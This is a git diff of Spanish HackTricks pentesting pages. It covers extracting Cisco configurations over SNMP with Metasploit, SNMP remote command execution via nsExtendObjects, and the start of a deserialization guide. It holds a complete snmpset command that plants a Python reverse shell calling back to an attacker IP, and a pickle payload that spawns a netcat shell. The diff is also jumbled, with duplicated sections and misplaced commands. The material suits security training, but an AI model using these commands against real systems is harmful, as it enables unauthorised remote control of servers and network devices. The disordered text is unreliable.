### 8.1 cisco\_config\_tftp <a href="#1dbf" id="1dbf"></a>
|
||||
|
||||
Con el framework Metasploit, específicamente con el módulo **cisco\_config\_tftp**, se puede extraer la configuración del dispositivo conociendo el valor de la cadena de comunidad. La cadena que tiene los derechos de RW es **private**.
|
||||
|
||||
Necesitaremos lo siguiente:
|
||||
|
||||
* **Cadena de comunidad RW (COMMUNITY)**
|
||||
* **Dirección IP del atacante (LHOST)**
|
||||
* **Dirección IP del equipo objetivo (RHOSTS)**
|
||||
* **La ruta en la que el módulo produce la configuración del dispositivo (OUTPUTDIR)**
|
||||
Para realizar un ataque de fuerza bruta en cadenas de comunidad es posible usar **[onesixtyone](https://github.com/trailofbits/onesixtyone)**. Esta herramienta requiere un diccionario para la fuerza bruta y las direcciones IP de los hosts objetivo:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY private
|
||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.100.50
|
||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /home/necreas1ng/snmp
|
||||
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
Después de iniciar el módulo, la configuración del host con la dirección 10.10.100.10 (10.10.100.10.txt) se descargará en la carpeta especificada.
|
||||
Si se **descubren las cadenas de comunidad**, se hace posible una mayor explotación.
|
||||
|
||||
![](<../../.gitbook/assets/image (223).png>)
|
||||
### `cisco_config_tftp`
|
||||
|
||||
### 8.2 snmp\_enum <a href="#3429" id="3429"></a>
|
||||
Usando el módulo `cisco_config_tftp` en el framework Metasploit, se puede extraer la **configuración del dispositivo** conociendo el valor de la cadena de comunidad. Se requiere la cadena de comunidad con **permisos de lectura-escritura (RW)**.
|
||||
|
||||
Con este módulo puedes obtener información sobre el hardware objetivo. Todo es exactamente igual: especifica **COMMUNITY** (por cierto, incluso una cadena con permisos **RO** servirá) y la dirección IP del dispositivo objetivo.
|
||||
Se necesitan los siguientes parámetros:
|
||||
|
||||
- Cadena de comunidad RW (COMMUNITY)
|
||||
- Dirección IP del atacante (LHOST)
|
||||
- Dirección IP del equipo objetivo (RHOSTS)
|
||||
- Ruta para el directorio de salida de la configuración del dispositivo (OUTPUTDIR)
|
||||
|
||||
Después de configurar el módulo, se puede iniciar el exploit. La configuración del host con la dirección IP especificada se descargará en la carpeta designada.
|
||||
|
||||
### `snmp_enum`
|
||||
|
||||
El módulo **`snmp_enum` en el framework Metasploit permite la recuperación de información sobre el hardware objetivo**. Similar al módulo anterior, se requiere el parámetro COMMUNITY (incluso una cadena con permisos de solo lectura) y la dirección IP del dispositivo objetivo:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (218).png" alt=""><figcaption></figcaption></figure>
|
||||
# Referencias
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,57 +5,43 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
# SNMP RCE
|
||||
|
||||
Este post fue copiado de [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
||||
SNMP puede ser explotado por un atacante si el administrador pasa por alto su configuración predeterminada en el dispositivo o servidor. Al **abusar de la comunidad SNMP con permisos de escritura (rwcommunity)** en un sistema operativo Linux, el atacante puede ejecutar comandos en el servidor.
|
||||
|
||||
SNMP a veces es pasado por alto por el administrador del dispositivo o servidor donde se deja en una configuración predeterminada. La comunidad SNMP con permisos de escritura (**rwcommunity**) en el sistema operativo Linux puede ser abusada para permitir al atacante ejecutar un comando en el servidor.
|
||||
## Extendiendo Servicios con Comandos Adicionales
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508)
|
||||
|
||||
# **Extendiendo los Servicios**
|
||||
|
||||
Aunque no puedas modificar las entradas existentes que fueron configuradas en **snmpd.conf**, es posible agregar comandos adicionales a través de SNMP, porque la configuración de permisos “MAX-ACCESS” en la definición MIB está establecida en “**read-create**”
|
||||
|
||||
Agregar un nuevo comando básicamente funciona añadiendo una fila adicional a la tabla “**nsExtendObjects**”.
|
||||
Para extender los servicios SNMP y agregar comandos extras, es posible añadir nuevas **filas a la tabla "nsExtendObjects"**. Esto se puede lograr utilizando el comando `snmpset` y proporcionando los parámetros necesarios, incluyendo la ruta absoluta al ejecutable y el comando a ser ejecutado:
|
||||
```bash
|
||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
||||
'nsExtendStatus."evilcommand"' = createAndGo \
|
||||
'nsExtendCommand."evilcommand"' = /bin/echo \
|
||||
'nsExtendArgs."evilcommand"' = 'hello world'
|
||||
```
|
||||
Inyectando un comando para ejecutar en el servicio SNMP. **NET-SNMP-EXTEND-MIB** requiere que siempre proporciones la ruta absoluta al ejecutable. El binario/script llamado también debe existir y ser ejecutable.
|
||||
## Inyección de Comandos para Ejecución
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916)
|
||||
Inyectar comandos para ejecutar en el servicio SNMP requiere la existencia y posibilidad de ejecución del binario/script llamado. El **`NET-SNMP-EXTEND-MIB`** exige proporcionar la ruta absoluta al ejecutable.
|
||||
|
||||
Ejecutando el comando que inyectamos en el SNMP enumerándolo usando snmpwalk
|
||||
Para confirmar la ejecución del comando inyectado, se puede utilizar el comando `snmpwalk` para enumerar el servicio SNMP. **El resultado mostrará el comando y sus detalles asociados**, incluyendo la ruta absoluta:
|
||||
```bash
|
||||
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
||||
```
|
||||
Mostrando que el comando es /bin/echo.
|
||||
## Ejecución de los Comandos Inyectados
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569)
|
||||
Cuando **el comando inyectado es leído, se ejecuta**. Este comportamiento es conocido como **`run-on-read()`**. La ejecución del comando puede ser observada durante la lectura con snmpwalk.
|
||||
|
||||
El comando se ejecutará cuando sea leído. **run-on-read\(\)**
|
||||
### Obteniendo Shell del Servidor con SNMP
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612)
|
||||
|
||||
El comando **/bin/echo "hello rio is here"** se ejecutó durante nuestra lectura de snmpwalk
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653)
|
||||
|
||||
# **Obteniendo la Shell** **desde Net-SNMP Extend**
|
||||
|
||||
En esta sección, me gustaría discutir cómo obtener una shell del servidor para controlarlo.
|
||||
|
||||
Puedes usar el script de python desarrollado por **mxrch** que se puede descargar desde [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
|
||||
Para tomar control sobre el servidor y obtener un shell del servidor, se puede utilizar un script de Python desarrollado por mxrch desde [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
|
||||
|
||||
Alternativamente, se puede crear manualmente un reverse shell inyectando un comando específico en SNMP. Este comando, activado por el snmpwalk, establece una conexión de reverse shell hacia la máquina del atacante, permitiendo el control sobre la máquina víctima.
|
||||
Puedes instalar el pre-requisito para ejecutar esto:
|
||||
```bash
|
||||
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
||||
|
@ -63,24 +49,13 @@ git clone https://github.com/mxrch/snmp-shell
|
|||
cd snmp-shell
|
||||
sudo python3 -m pip install -r requirements.txt
|
||||
```
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723)
|
||||
|
||||
**Creación de shell inversa**
|
||||
|
||||
También puedes crear una shell inversa manualmente inyectando el siguiente comando en el SNMP
|
||||
O una shell inversa:
|
||||
```bash
|
||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
||||
```
|
||||
```
|
||||
ejecute snmpwalk para activar la ejecución del comando
|
||||
# Referencias
|
||||
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)
|
||||
|
||||
Nuestro netcat recibe la conexión reverseshell de la víctima que nos permite tomar control sobre la máquina de la víctima
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -88,11 +63,10 @@ Nuestro netcat recibe la conexión reverseshell de la víctima que nos permite t
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,38 +1,39 @@
|
|||
# Deserialización
|
||||
# Deserialization
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repos de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
**Serialization** es el proceso de convertir algún objeto en un formato de datos que puede ser restaurado más tarde. La gente a menudo serializa objetos para guardarlos en almacenamiento, o para enviar como parte de comunicaciones.
|
||||
|
||||
**Serialización** es el proceso de convertir un objeto en un formato de datos que se puede restaurar más tarde. A menudo, las personas serializan objetos para guardarlos en almacenamiento o enviarlos como parte de las comunicaciones.
|
||||
**Deserialization** es el proceso inverso, tomando datos estructurados de algún formato y reconstruyéndolos en un objeto. Hoy en día, el formato de datos más popular para serializar datos es JSON. Antes de eso, era XML.
|
||||
|
||||
**Deserialización** es el proceso inverso, tomando datos estructurados de algún formato y reconstruyéndolos en un objeto. Hoy en día, el formato de datos más popular para la serialización de datos es JSON. Antes de eso, era XML.
|
||||
En muchas ocasiones puedes encontrar código en el lado del servidor que deserializa algún objeto proporcionado por el usuario.\
|
||||
En este caso, puedes enviar una carga maliciosa para hacer que el lado del servidor se comporte de manera inesperada.
|
||||
|
||||
En muchas ocasiones, puedes encontrar código en el lado del servidor que deserializa algún objeto proporcionado por el usuario.\
|
||||
En este caso, puedes enviar una carga útil maliciosa para hacer que el lado del servidor se comporte de manera inesperada.
|
||||
|
||||
**Debes leer:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **para aprender cómo atacar.**
|
||||
**Deberías leer:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **para aprender cómo atacar.**
|
||||
|
||||
## PHP
|
||||
|
||||
Método mágico utilizado con la serialización:
|
||||
Método mágico utilizado con serialización:
|
||||
|
||||
* `__sleep` se llama cuando un objeto se serializa y debe devolverse como un array.
|
||||
* `__sleep` se llama cuando un objeto es serializado y debe devolver un array
|
||||
|
||||
Método mágico utilizado con la deserialización:
|
||||
Método mágico utilizado con deserialization
|
||||
|
||||
* `__wakeup` se llama cuando un objeto se deserializa.
|
||||
* `__wakeup` se llama cuando un objeto es deserializado.
|
||||
* `__unserialize` se llama en lugar de `__wakeup` si existe.
|
||||
* `__destruct` se llama cuando el script de PHP finaliza y el objeto se destruye.
|
||||
* `__toString` utiliza el objeto como una cadena, pero también se puede usar para leer archivos o algo más basado en la llamada de función dentro de él.
|
||||
* `__destruct` se llama cuando el script de PHP termina y el objeto es destruido.
|
||||
* `__toString` usa el objeto como cadena pero también puede ser utilizado para leer archivos o más que eso basado en la llamada a función dentro de él.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
|
@ -88,10 +89,10 @@ This is a test<br />
|
|||
*/
|
||||
?>
|
||||
```
|
||||
Si observas los resultados, puedes ver que las funciones **`__wakeup`** y **`__destruct`** se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función **`__toString`** se llama al intentar imprimir algún atributo, pero aparentemente eso ya **no sucede**.
|
||||
Si observas los resultados, puedes ver que las funciones **`__wakeup`** y **`__destruct`** se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función **`__toString`** se llama al intentar imprimir algún atributo, pero aparentemente eso **ya no ocurre**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
El método **`__unserialize(array $data)`** se llama **en lugar de `__wakeup()`** si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria al deserializar.
|
||||
`El método`` `**`__unserialize(array $data)`** se llama **en lugar de `__wakeup()`** si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria tras la deserialización.
|
||||
```php
|
||||
phpCopy codeclass MyClass {
|
||||
private $property;
|
||||
|
@ -104,11 +105,11 @@ $this->property = $data['property'];
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
Puedes leer un ejemplo de PHP explicado aquí: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aquí [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o aquí [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
Puede leer un **ejemplo PHP explicado aquí**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aquí [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o aquí [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
### PHP Deserial + Autoload de Clases
|
||||
|
||||
Puedes abusar de la funcionalidad de carga automática de PHP para cargar archivos php arbitrarios y más:
|
||||
Podría abusar de la funcionalidad de autoload de PHP para cargar archivos php arbitrarios y más:
|
||||
|
||||
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
||||
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
||||
|
@ -116,7 +117,7 @@ Puedes abusar de la funcionalidad de carga automática de PHP para cargar archiv
|
|||
|
||||
### Serializando Valores Referenciados
|
||||
|
||||
Si por alguna razón quieres serializar un valor como una **referencia a otro valor serializado**, puedes hacerlo:
|
||||
Si por alguna razón desea serializar un valor como una **referencia a otro valor serializado** puede:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
|
@ -131,14 +132,14 @@ $ser=serialize($o);
|
|||
```
|
||||
### PHPGGC (ysoserial para PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) puede ayudarte a generar payloads para abusar de las deserializaciones en PHP.\
|
||||
Ten en cuenta que en varios casos **no podrás encontrar una forma de abusar de una deserialización en el código fuente** de la aplicación, pero podrías ser capaz de **abusar del código de extensiones externas de PHP**.\
|
||||
Entonces, si puedes, verifica la `phpinfo()` del servidor y **busca en internet** (incluso en los **gadgets** de **PHPGGC**) algún posible gadget que puedas abusar.
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) puede ayudarte a generar cargas útiles para abusar de deserializaciones de PHP.\
|
||||
Ten en cuenta que en varios casos **no podrás encontrar una manera de abusar de una deserialización en el código fuente** de la aplicación, pero podrías ser capaz de **abusar del código de extensiones externas de PHP.**\
|
||||
Por lo tanto, si puedes, revisa el `phpinfo()` del servidor y **busca en internet** (e incluso en los **gadgets** de **PHPGGC**) algún posible gadget que podrías abusar.
|
||||
|
||||
### Deserialización de metadatos phar://
|
||||
### phar:// deserialización de metadatos
|
||||
|
||||
Si has encontrado una LFI que solo lee el archivo y no ejecuta el código PHP dentro de él, por ejemplo, utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** utilizando el protocolo **phar**.\
|
||||
Para obtener más información, lee el siguiente artículo:
|
||||
Si has encontrado un LFI que solo está leyendo el archivo y no ejecutando el código PHP dentro de él, por ejemplo, utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** utilizando el protocolo **phar**.\
|
||||
Para más información lee el siguiente post:
|
||||
|
||||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||||
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
||||
|
@ -148,7 +149,7 @@ Para obtener más información, lee el siguiente artículo:
|
|||
|
||||
### **Pickle**
|
||||
|
||||
Cuando el objeto se deserializa, se ejecutará la función _\_\_reduce\_\__.\
|
||||
Cuando el objeto se deserializa, la función _\_\_reduce\_\__ se ejecutará.\
|
||||
Cuando se explota, el servidor podría devolver un error.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
|
@ -157,7 +158,7 @@ def __reduce__(self):
|
|||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Para obtener más información sobre cómo escapar de las **cárceles de pickle**, consulta:
|
||||
Para obtener más información sobre cómo escapar de **pickle jails**, consulta:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -165,13 +166,13 @@ Para obtener más información sobre cómo escapar de las **cárceles de pickle*
|
|||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
La siguiente página presenta la técnica para **abusar de una deserialización insegura en las bibliotecas de Python de yamls** y finaliza con una herramienta que se puede utilizar para generar una carga útil de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**:
|
||||
La siguiente página presenta la técnica para **abusar de una deserialización insegura en bibliotecas de yamls** de Python y termina con una herramienta que se puede utilizar para generar un payload de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**:
|
||||
|
||||
{% content-ref url="python-yaml-deserialization.md" %}
|
||||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Contaminación de Clases (Python Prototype Pollution)
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
||||
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
|
@ -181,10 +182,10 @@ La siguiente página presenta la técnica para **abusar de una deserialización
|
|||
|
||||
### Funciones Mágicas de JS
|
||||
|
||||
JS **no tiene funciones "mágicas"** como PHP o Python que se ejecutarán solo para crear un objeto. Pero tiene algunas **funciones** que se **utilizan con frecuencia incluso sin llamarlas directamente**, como **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Si abusas de una deserialización, puedes **comprometer estas funciones para ejecutar otro código** (potencialmente abusando de contaminaciones de prototipos) y así ejecutar código arbitrario cuando se llamen.
|
||||
JS **no tiene funciones "mágicas"** como PHP o Python que se ejecutan solo por crear un objeto. Pero tiene algunas **funciones** que se **usan frecuentemente incluso sin llamarlas directamente** como **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Si abusas de una deserialización, puedes **comprometer estas funciones para ejecutar otro código** (potencialmente abusando de contaminaciones de prototipo) podrías ejecutar código arbitrario cuando se llamen.
|
||||
|
||||
Otra forma **"mágica" de llamar a una función** sin llamarla directamente es **comprometer un objeto que es devuelto por una función asíncrona** (promesa). Porque, si **transformas** ese **objeto devuelto** en otra **promesa** con una **propiedad** llamada **"then" de tipo función**, se ejecutará solo porque es devuelto por otra promesa. _Sigue_ [_**este enlace**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para obtener más información._
|
||||
Otra **forma "mágica" de llamar a una función** sin llamarla directamente es **comprometiendo un objeto que es devuelto por una función asíncrona** (promesa). Porque, si **transformas** ese **objeto devuelto** en otra **promesa** con una **propiedad** llamada **"then" de tipo función**, será **ejecutada** solo porque es devuelta por otra promesa. _Sigue_ [_**este enlace**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para más información._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
|
@ -208,9 +209,9 @@ test_ressolve()
|
|||
test_then()
|
||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||
```
|
||||
### `__proto__` y `prototype` pollution
|
||||
### `__proto__` y contaminación de `prototype`
|
||||
|
||||
